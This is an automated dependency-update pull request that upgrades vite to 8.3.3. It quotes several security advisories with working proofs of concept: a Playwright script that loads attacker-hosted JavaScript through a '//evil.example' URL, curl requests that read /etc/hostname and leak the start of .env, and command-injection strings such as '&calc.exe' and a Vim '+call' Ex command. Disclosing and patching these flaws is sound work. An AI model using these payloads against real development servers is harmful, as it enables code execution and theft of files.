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Update dependency vite to v8.3.3 [SECURITY] #480

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robbertbos commented 2026-10-21 02:02:38 +00:00
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This PR contains the following updates:

Package Change Age Confidence
vite (source) 8.3.1 → 8.3.3 age confidence

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

  1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
  2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
  3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
  4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

  • The user uses Windows
  • An attacker can place a file with the malicious filename containing & or %
  • Either of
    • An attacker can inject an environment variable with a malicious value
    • An attacker can add a NTFS alternate data stream to the file placed
Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

  • If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
  • If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
  • If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact
Direct launch-editor users

Only apps that match all of the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The first argument of launchEditor can start with + or - or the user is using WSL
launch-editor-middleware users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • launch-editor older than v2.2.0 is used, or the user is using WSL
Vite users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The user is using WSL
Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

  • explicitly expose the Vite dev server to the network (using --host or the server.host option)
  • contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
  • The sensitive file is not matched by server.fs.deny
  • the dev server is not running on Windows
Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: First 4 bytes of files outside of server.fs setting is exposed by ?vite-wasm-instance

CVE-2026-112947 / GHSA-vfpm-58rq-9qcg

More information

Details

Summary

The first 4 bytes of files outside of server.fs setting can be returned to the browser by a request containing ?vite-wasm-instance.

Impact

Only apps that match one of the following conditions are affected:

  • explicitly expose the Vite dev server to the network using --host or the server.host option
  • there's a file that has a sensitive information in the first 4 bytes
  • uses Node.js or Deno to run Vite (if Bun is used, it is not affected)
Details

Requests containing the ?vite-wasm-instance query are handled by the internal Wasm plugin's load hook. The hook removes the query and reads the resulting path directly from disk, but the server.fs checks were not applied.

After reading the file, Vite attempts to parse it as WebAssembly. When that parse fails, Node and deno throws an error that contains the first 4 bytes of the file.

PoC

Create a denied file and start an affected Vite dev server:

echo 'SECRET_KEY=abc123\n' > .env
npm run dev
curl 'http://localhost:5173/.env?vite-wasm-instance'

This will show

Failed to parse WASM file "<root>/.env": WebAssembly.compile(): expected magic word 00 61 73 6d, found 53 45 43 52 @+0

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitejs/vite (vite)

v8.3.3

Compare Source

Bug Fixes

v8.3.2

Compare Source

Bug Fixes
Performance Improvements
Documentation
  • fix dead og-image PNG links in vite6/vite7 changelog entries (#​23594) (1929b4c)
Miscellaneous Chores
Code Refactoring
Tests
  • bundled-dev: accept a rolldown dev runtime with no helper imports (#​23606) (634745d)

Configuration

📅 Schedule: (in timezone Europe/Amsterdam)

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🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`8.3.1` → `8.3.3`](https://renovatebot.com/diffs/npm/vite/8.3.1/8.3.3) | ![age](https://developer.mend.io/api/mc/badges/age/npm/vite/8.3.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/8.3.1/8.3.3?slim=true) | --- ### launch-editor: `fs.existsSync()` existence check can be bypassed on Windows [CVE-2026-112942](https://nvd.nist.gov/vuln/detail/CVE-2026-112942) / [GHSA-587h-7wmj-h5pm](https://github.com/advisories/GHSA-587h-7wmj-h5pm) <details> <summary>More information</summary> #### Details ##### Summary `launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename. Combined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument. ##### Impact Only apps that runs on Windows is affected. ##### Details The earlier advisory assumed that `fs.existsSync()` required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement. A crafted value ending in `\\..:1:1` is interpreted differently by `launch-editor-middleware`, `launch-editor`, and Windows: 1. `launch-editor-middleware` calls `path.resolve()` while the final path component is `..:1:1`, so it is not treated as a parent-directory component. 2. `launch-editor` treats `:1:1` as a line-and-column suffix and removes it, leaving a path ending in `\\..`. 3. On Windows, `fs.existsSync()` accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist. 4. Because the existence check passes, the crafted filename reaches the Windows shell command. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm](https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112942](https://nvd.nist.gov/vuln/detail/CVE-2026-112942) - [https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679](https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) - [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2](https://github.com/vitejs/launch-editor/releases/tag/v2.14.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-587h-7wmj-h5pm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### launch-editor: escapeCmdArgs() omits % escaping on Windows [CVE-2026-112943](https://nvd.nist.gov/vuln/detail/CVE-2026-112943) / [GHSA-698v-4r3x-3vcv](https://github.com/advisories/GHSA-698v-4r3x-3vcv) <details> <summary>More information</summary> #### Details ##### Summary `launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed. ##### Impact Only apps that match all of the following conditions are affected: - The user uses Windows - An attacker can place a file with the malicious filename containing `&` or `%` - Either of - An attacker can inject an environment variable with a malicious value - An attacker can add a NTFS alternate data stream to the file placed ##### Details Unlike `.sh` files, `.bat` / `.cmd` files on Windows cannot be called directly using [`child_process.spawn`](https://nodejs.org/docs/latest-v24.x/api/child_process.html#child_processspawncommand-args-options) and requires passing them as an argument of `cmd.exe`. To do so, launch-editor escapes the arguments passed to `cmd.exe`. But `launch-editor` did not escape `%` which is used for environment variables. Because `launch-editor` checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file. - If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set ` &calc.exe ` to `%ENV%`) and call `launchEditor` with `something%ENV%`. - If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named `~-38%calc.exe`), they can call `launchEditor` with `something %CMDCMDLINE:~-38%calc.exe`. - If the attacker can create a filename containing the `%CD%` and the subcommand (e.g. `&calc.exe `), they can call `launchEditor` with `./%CD%` #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112943](https://nvd.nist.gov/vuln/detail/CVE-2026-112943) - [https://github.com/vitejs/launch-editor/pull/155](https://github.com/vitejs/launch-editor/pull/155) - [https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc](https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) - [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2](https://github.com/vitejs/launch-editor/releases/tag/v2.14.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-698v-4r3x-3vcv) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite: Cross origin script execution through Vite custom middleware [CVE-2026-112945](https://nvd.nist.gov/vuln/detail/CVE-2026-112945) / [GHSA-9jrq-w75r-8gcw](https://github.com/advisories/GHSA-9jrq-w75r-8gcw) <details> <summary>More information</summary> #### Details ##### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ##### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ##### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ##### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true }) try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', ) console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ``` Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ``` #### Severity - CVSS Score: 2.1 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw](https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112945](https://nvd.nist.gov/vuln/detail/CVE-2026-112945) - [https://github.com/vitejs/vite/pull/23653](https://github.com/vitejs/vite/pull/23653) - [https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17](https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors [CVE-2026-112944](https://nvd.nist.gov/vuln/detail/CVE-2026-112944) / [GHSA-r825-w8mm-5pxw](https://github.com/advisories/GHSA-r825-w8mm-5pxw) <details> <summary>More information</summary> #### Details ##### Summary `launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution. ##### Impact ##### Direct `launch-editor` users Only apps that match all of the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL ##### `launch-editor-middleware` users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - launch-editor older than v2.2.0 is used, or the user is using WSL ##### Vite users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The user is using WSL ##### Details `launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as: ``` +call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa! ``` is not treated as a filename when passed to Vim. Vim executes the embedded Ex command. The following editor has a potentially destructive operation exposed to the CLI arguments: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) `launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected. Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw](https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112944](https://nvd.nist.gov/vuln/detail/CVE-2026-112944) - [https://github.com/vitejs/launch-editor/pull/156](https://github.com/vitejs/launch-editor/pull/156) - [https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4](https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) - [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2](https://github.com/vitejs/launch-editor/releases/tag/v2.14.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r825-w8mm-5pxw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine [CVE-2026-112946](https://nvd.nist.gov/vuln/detail/CVE-2026-112946) / [GHSA-rq7h-c2jc-7f22](https://github.com/advisories/GHSA-rq7h-c2jc-7f22) <details> <summary>More information</summary> #### Details ##### Summary The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned. The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file. ##### Impact Only apps that meet all of the following conditions are affected: - explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host)) - contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host - The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) - the dev server is not running on Windows ##### Details When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`. For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`. ##### PoC The following example requires Linux with a readable `/etc/hostname`: ```bash $ mkdir vite-safe-module-path-poc $ cd vite-safe-module-path-poc $ npm init -y $ npm install vite@8.3.1 $ mkdir -p etc $ echo 'PROJECT-DECOY\n' > etc/hostname $ echo 'import "./etc/hostname"\n' > main.js $ npx vite --host 127.0.0.1 ``` In another terminal: ```bash $ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js 200 $ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname 200 $ cmp -s response /etc/hostname && echo 'response matches host file' response matches host file ``` #### Severity - CVSS Score: 6.3 / 10 